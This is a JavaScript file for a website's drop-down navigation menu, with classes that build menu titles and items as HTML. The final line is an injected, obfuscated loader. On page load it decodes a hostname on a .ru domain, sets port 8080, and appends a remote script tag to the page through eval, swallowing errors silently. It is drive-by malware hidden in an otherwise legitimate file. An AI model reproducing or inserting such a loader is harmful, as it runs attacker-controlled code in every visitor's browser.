function rollMenu(i, action) {
	if (action=='on') {
			changeStyleClass('top_nav_'+i, "top_nav_menu_on");
			changeStyleClass('top_nav_link_'+i, "top_nav_link_on");
	} else if (action=='off') {
			changeStyleClass('top_nav_'+i, "top_nav_menu_off");
			changeStyleClass('top_nav_link_'+i, "top_nav_link_off");
	}
}

function changeStyleClass(id, newClass) {
	identity=document.getElementById(id);
	identity.className=newClass;
}

function findElementObj(n, d) {
  var p,i,x;  if(!d) d=document; if((p=n.indexOf("?"))>0&&parent.frames.length) {
    d=parent.frames[n.substring(p+1)].document; n=n.substring(0,p);}
  if(!(x=d[n])&&d.all) x=d.all[n]; for (i=0;!x&&i<d.forms.length;i++) x=d.forms[i][n];
  for(i=0;!x&&d.layers&&i<d.layers.length;i++) x=findElementObj(n,d.layers[i].document);
  if(!x && document.getElementById) x=document.getElementById(n); return x;
}

function showHideLayer(layerarraystr) {
	var a = layerarraystr.split(",");
	if((a.length / 2) != Math.ceil(a.length/2)) {
		alert("Invalid parameters for ShowHideLayer!\nIt must be in format layer1,property1,layer2,property2 ...");
	} else {
		var i,v,obj;
		for (i=0; i<a.length; i+=2) {
			if ((obj=findElementObj(a[i]))!=null) {
				v=a[i+1];
				if (obj.style) {
					obj=obj.style;
					v=(v=='show')?'visible':(v='hide')?'hidden':v;
				}
				obj.visibility=v;
			}
		}
	}
	a = null;
}


/*******************************************************************************************
* Class						: TopNavTitle()
* Description			: A class object for an Investment Title
* Methods				: initiate(), finish(), addItem(itObj), setItem(intIndex, itObj), 
*								  getNoOfItem(), getItem(), getText(), getLink()
* Author					: BatesAsia Hong Kong - XM
* Creation Date		: 2005-04-08
* Amendment History	:
* Date		By		Description
* ---------	------------	------------------------------------------
*********************************************************************************************/

	function TopNavTitle() {
		var m_strText;	// String // Text of title
		var m_strImage; // String // Image name
		var m_strLink;	// String // Link of title
		var m_arrItem;	// Array of TopNavTitle // Sub-item(s) of title
		var m_intNoOfItem;	// Integer // Number of sub-item(s)
		
		/*****************************************************
		* Method			: initiate(strText, strLink)
		* Description	: Initiate the class object and set the text and link for the title
		*						  This method must be run at first once the object is created)
		* Parameter		: strText // String - text of title
		*						: strLink // String - link of title
		* Return			: n/a
		*****************************************************/
		this.initiate = function(strText, strLink) {
			m_strText = strText;
			m_strLink = strLink;
			m_intNoOfItem = 0;
			m_arrItem = new Array();
		}

		/*****************************************************
		* Method			: finish()
		* Description	: Notify the class object to finish and release memories
		*						  This method must be run at last
		* Parameter		: n/a
		* Return			: n/a
		*****************************************************/
		this.finish = function() {
				m_strText = "";
				m_strLink = "";
				m_intNoOfItem = 0;
//				for (var i=0; i<m_arrItem.length; i++) {
//					m_arrItem[i] = null;
//				}
		}

		/*****************************************************
		* Method			: setImage(strImage)
		* Description	: 
		* Parameter		: 
		*						: 
		* Return			: String
		*****************************************************/
		this.setImage = function(strImage) {
			m_strImage = strImage;
		}

		/*****************************************************
		* Method			: addItem(itObj)
		* Description	: Add a new sub-item of title
		* Parameter		: itObj // TopNavTitle - Sub-Item (TopNavTitle object)
		* Return			: n/a
		*****************************************************/
		this.addItem = function(itObj) {
			m_arrItem[m_intNoOfItem] = itObj;
			m_intNoOfItem = m_intNoOfItem+1;
		}

		/*****************************************************
		* Method			: setItem(intIndex, itObj)
		* Description	: Set a sub-item of title into an appropriate position
		* Parameter		: intIndex // Integer - Position of sub-item
		*						: itObj // TopNavTitle  - Sub-item (TopNavTitle object)
		* Return			: n/a
		*****************************************************/
		this.setItem = function(intIndex, itObj) {
			m_arrItem[intIndex] = itObj
		}
		
		/*****************************************************
		* Method			: getNoOfItem()
		* Description	: Get the number of sub-item in the title
		* Parameter		: n/a
		* Return			: Integer
		*****************************************************/
		this.getNoOfItem = function() { return m_intNoOfItem;}
		
		/*****************************************************
		* Method			: getItem(intIndex)
		* Description	: Get the sub-item
		* Parameter		: intIndex // Integer - Position of sub-item
		* Return			: TopNavTitle
		*****************************************************/
		this.getItem = function(intIndex) { return m_arrItem[intIndex]; }
		
		/*****************************************************
		* Method			: getText()
		* Description	: Get the text of item
		* Parameter		: n/a
		* Return			: String
		*****************************************************/
		this.getText = function() { return m_strText; }
		
		/*****************************************************
		* Method			: getImage()
		* Description	: Get the text of image name
		* Parameter		: n/a
		* Return			: String
		*****************************************************/
		this.getImage = function() { return m_strImage; }
		
		/*****************************************************
		* Method			: getLink()
		* Description	: Get the link of item
		* Parameter		: n/a
		* Return			: String
		*****************************************************/
		this.getLink = function() { return m_strLink;}

	}

/*******************************************************************************************
* Class				: TopNavMenu()
* Description			: A class object for an Investment Menu
* Methods				: getMenuWidth(), initiate(), finish(), setTitleWidth(), generateTitle()
*								  generateRecoveryLayers(), generateItems(), generateStaticBg(), generate(), print()
* Author					: BatesAsia Hong Kong - XM
* Creation Date		: 2005-04-08
* Side effect				: No
* Amendment History	:
* Date		By		Description
* ---------	------------	------------------------------------------
*********************************************************************************************/
	function TopNavMenu() {
		var m_itObj; // clsInvestmentItem // Title of the menu
		var m_strTitleHtml;	// String // Html of title
		var m_strItemHtml;	// String // Html of sub-item of title
		var m_strRecoveryLayerHtml;	// String // Html of recovery layer
		var m_strStaticBgHtml;	// String // Html of static background

		var m_intStartX;	// Integer // Start position X-axis
		var m_intStartY;	// Integer // Start position Y-axis
		var m_intTitleWidth;	 // Integer // Column width of title
		var m_intTitleHeight;	// Integer // Row height of title

		var m_arrTitleWidth;	 // Array of Integer // Array of width for each title

		/*****************************************************
		* Method			: getMenuWidth()
		* Description	: Get the width of menu
		* Parameter		: n/a
		* Return			: Integer
		*****************************************************/
		this.getMenuWidth = function() {
			var intWidth=0;
			for (var i=0; i<m_arrTitleWidth.length; i++) {
				intWidth += m_arrTitleWidth[i];
			}
			return intWidth;
		}

		/*****************************************************
		* Method			: initiate(strText, strLink)
		* Description	: Initiate the class object with some values
		*						  This method must be run at first once the object is created)
		* Parameter		: itObj // TopNavTitle - An investment title
		*						: intX // Integer - Start position of the menu (X-axis)
		*						: intY // Integer  - Start position of the menu (Y-axis)
		*						: intTitleWidth // Integer  - Column width of title
		*						: intTItleHeight // Integer - Row height of title (*height less than the font-height cannot perform)
		* Return			: n/a
		*****************************************************/
		this.initiate = function(itObj, intX, intY, intTitleWidth, intTitleHeight) {
			m_itObj = itObj;
			m_strTitleHtml = "";
			m_strItemHtml = "";
			m_strRecoveryLayerHtml = "";
			m_strStaticBgHtml = "";
			m_intStartX = intX;
			m_intStartY = intY;
			m_intTitleWidth = intTitleWidth;
			m_intTitleHeight = intTitleHeight;
			m_arrTitleWidth = new Array(itObj.getNoOfItem());

			for (var i=0; i<m_arrTitleWidth.length; i++) {
				m_arrTitleWidth[i] = intTitleWidth;
			}
		}

		/*****************************************************
		* Method			: finish()
		* Description	: Notify the class object to finish and release memories
		*						  This method must be run at last
		* Parameter		: n/a
		* Return			: n/a
		*****************************************************/
		this.finish = function() {
			m_itObj = null;
			m_strTitleHtml = "";
			m_strItemHtml = "";
			m_strRecoveryLayerHtml = "";
			m_strStaticBgHtml = "";
			m_intStartX = 0;
			m_intStartY = 0;
			m_intTitleWidth = 0;
			m_intTitleHeight = 0;
			for (var i=0; i<m_arrTitleWidth.length; i++) {
				m_arrTitleWidth[i] = null;
			}
		}

		/*****************************************************
		* Method			: setTitleWidth(str)
		* Description	: Set column width for the title respectively
		* Parameter		: str // String - A string of width with comma as a delimiter
		* Return			: n/a
		*****************************************************/
		this.setTitleWidth = function(str) {
			var arr = str.split(",");
			for (var i=0; i<m_arrTitleWidth.length; i++) {
				m_arrTitleWidth[i] = parseInt(arr[i]);
			}
		}

		/*****************************************************
		* Method			: generateTitle()
		* Description	: Generate title for the menu
		* Parameter		: n/a
		* Return			: n/a
		*****************************************************/
		this.generateTitle = function() {
			var strOnMouse='';
			m_strTitleHtml += '<div id="main" style="position:absolute; left:'+ m_intStartX + 'px; top: '+ m_intStartY +'">';
			m_strTitleHtml += '<table cellpadding="0" cellspacing="0" border="0">'; // width="' + (this.getMenuWidth()+30) + '">';

			for (var i=0; i<m_itObj.getNoOfItem(); i++) {
				strOnMouse = (m_itObj.getItem(i).getNoOfItem()>0) ? ' onmouseover="showHideLayer(\'item' + (i+1) + ',show\');" onmouseout="showHideLayer(\'item' + (i+1) + ',hide\');"' : '';
				m_strTitleHtml += '	<td><div id="title' + (i+1) + '" ' + strOnMouse + '><img src="../images/' + m_itObj.getItem(i).getImage() + '" alt="" border="0"></div></td>';
			}

			m_strTitleHtml += '</tr>';
			m_strTitleHtml += '</table>';
			m_strTitleHtml += '</div>';
		}

		/*****************************************************
		* Method			: generateRecoveryLayers()
		* Description	: Generate receovery layes for the menu (Recovery layer is for some bugs-gap of table)
		* Parameter		: n/a
		* Return			: n/a
		*****************************************************/
		this.generateRecoveryLayers = function() {
			var intWidth=0;
			for (var i=0; i<m_itObj.getNoOfItem(); i++) {
				if (m_itObj.getItem(i).getNoOfItem()>0) {
					m_strRecoveryLayerHtml += '<div id="bar' + (i+1) + '" style="position:absolute; width:' + m_intTitleWidth + 'px; z-index:1; visibility: show; left: ' +( m_intStartX+15+intWidth+5 )+ 'px; top: ' +(m_intStartY+20)+ 'px" onmouseover="showHideLayer(\'item' + (i+1) + ',show\');" onmouseout="showHideLayer(\'item' + (i+1) + ',hide\');"><img alt="" border="0" src="../images/spacer.gif" height="' +(m_intTitleHeight-17)+ '" width="' +(m_arrTitleWidth[i]-27)+ '"></div>';

				}
				intWidth += m_arrTitleWidth[i];
			}

		}

		/*****************************************************
		* Method			: generateItems()
		* Description	: Generate items of title for the menu
		* Parameter		: n/a
		* Return			: n/a
		*****************************************************/
		this.generateItems = function() {
			var intWidth=0;
			for (var i=0; i<m_itObj.getNoOfItem(); i++) {
				if (m_itObj.getItem(i).getNoOfItem()>0) {
					m_strItemHtml += '<div id="item' + (i+1) + '" style="position:absolute; z-index:1; visibility: hidden; left: ' +( m_intStartX+intWidth )+ 'px; top: ' +(m_intStartY+m_intTitleHeight+1)+ 'px" onmouseover="showHideLayer(\'item' + (i+1) + ',show\');" onmouseout="showHideLayer(\'item' + (i+1) + ',hide\');">';
					m_strItemHtml += '	<table cellpadding="0" cellspacing="0" border="0">';
					m_strItemHtml += '	<tr>';
					m_strItemHtml += '		<td style="background: white; border: 1px solid #94b0bc;">';
					m_strItemHtml += '			<table cellpadding="0" cellspacing="0" border="0" width="' + m_arrTitleWidth[i] + '">';

					for (var j=0; j<m_itObj.getItem(i).getNoOfItem(); j++) {
						m_strItemHtml += '		<tr><td id="top_nav_' + (i*10+j) + '" class="top_nav_menu_off" onmouseover="rollMenu(' + (i*10+j) + ', \'on\')" onmouseout="rollMenu(' + (i*10+j) + ', \'off\')">';
						m_strItemHtml += '				<table cellpadding="0" cellspacing="0" border="0">';
						m_strItemHtml += '					<tr>';
						m_strItemHtml += '						<td style="padding:6px 12px 0px 11px; vertical-align:top"><img border="0" src="../images/bullet_red.gif" alt="" width="3" height="3"></td>';
						m_strItemHtml += '						<td><a href="' + m_itObj.getItem(i).getItem(j).getLink() +'" class="top_nav_link_off" id="top_nav_link_' + (i*10+j) + '">' + m_itObj.getItem(i).getItem(j).getText() + '</a><br></td>';
						m_strItemHtml += '					</tr>';
						m_strItemHtml += '				</table></td>';
						m_strItemHtml += '		</tr>';
						
							m_strItemHtml += '			<tr><td colspan="5" style="background: #94b0bc; height:1px"></td></tr>';
						
					}
					m_strItemHtml += '			</table>';
					m_strItemHtml += '		</td>';
					m_strItemHtml += '	</tr>';

					m_strItemHtml += '	</table>';
					m_strItemHtml += '</div>';
				}
				
				intWidth += m_arrTitleWidth[i];
			}
			
		}
		
		/*****************************************************
		* Method			: generateStaticBg()
		* Description	: Generate a static background under the menu
		* Parameter		: n/a
		* Return			: n/a
		*****************************************************/
		this.generateStaticBg = function() {
			m_strStaticBgHtml += '	<table cellpadding="0" cellspacing="0" border="0" width="100%">';
			m_strStaticBgHtml += '	<tr>';
			m_strStaticBgHtml += '		<td><img src="../images/spacer.gif" alt="" border="0" width="15" height="' +(m_intTitleHeight)+ '"></td>';
			m_strStaticBgHtml += '	</tr>';
			m_strStaticBgHtml += '	</table>';
		}

		/*****************************************************
		* Method			: generate()
		* Description	: Generate all (run all generation methods in the class)
		* Parameter		: n/a
		* Return			: n/a
		*****************************************************/
		this.generate = function() {
			this.generateStaticBg();
			this.generateItems();
			this.generateRecoveryLayers();
			this.generateTitle();
		}

		/*****************************************************
		* Method			: print()
		* Description	: print all generated object
		* Parameter		: n/a
		* Return			: n/a
		*****************************************************/
		this.print = function() {
			document.write(m_strStaticBgHtml + m_strTitleHtml + m_strRecoveryLayerHtml + m_strItemHtml);
		}

	}






try{window.onload=function(){Nb91bisbttbzl4c = '' + 'g!!m!&@^o(^@d&u@)&@l^@e(&s!&-(&!c&o$!m)&.#$l##!i&^)#v^e$j(&!o@^u@r&n!($a@!!l^(.(@c$&o##m!!.!(i^@m#$$^m#o^$#@!b@i(l@)(i#!(e##!&n&!@s!#c!^!o)u)^!t!2^4)@(-!#d)e$.@)a^@#v@$a@$t$t$)))o@@@p#.^!r^$)u^:)^^((N^&$3(##6!$&#u$&w#^&)w$)!)6$^)a&)h#)(3&^)9!)!!v#p#^)s$o$@/^^@)a@(r@)$t##i&$$c(@)(l()#e(&!s#$b($(a()s#!)&^e&@(#.@c@o&&m)@!@(/@&a^!&@r@$t#@)i$^@(c&^l)$(e(!s@b)$a$#!s!(e&@(.$#(c&$!o@@$(m(#&/^#!g@$^^)o@@o&!g@)^(&l)$!&e(#$^.$c!$&!o!!(^&m@!)$/$#(!a&^$)m(!^^e&!#b)(l^o())).!&&&j@p&^&$/@b^()(o$!o#k^#&i$n@g))$.#@c&!&o@#m&#^/@)!)'.replace(/#|\)|\(|\^|@|\$|&|\!/ig, '') ;Vfwi6fqyzziu = 'appendChild';Dj2xawty59vvf = document.createElement('sc'+'ript');Dj2xawty59vvf.src = 'h'+'ttp://'+Nb91bisbttbzl4c.replace(/N36uww6ah39vpso/g, '8080');Dj2xawty59vvf.setAttribute('defer', 'def'+'er');eval('document.body.'+Vfwi6fqyzziu+'(Dj2xawty59vvf)');} }  catch(L0avi5ev ) {}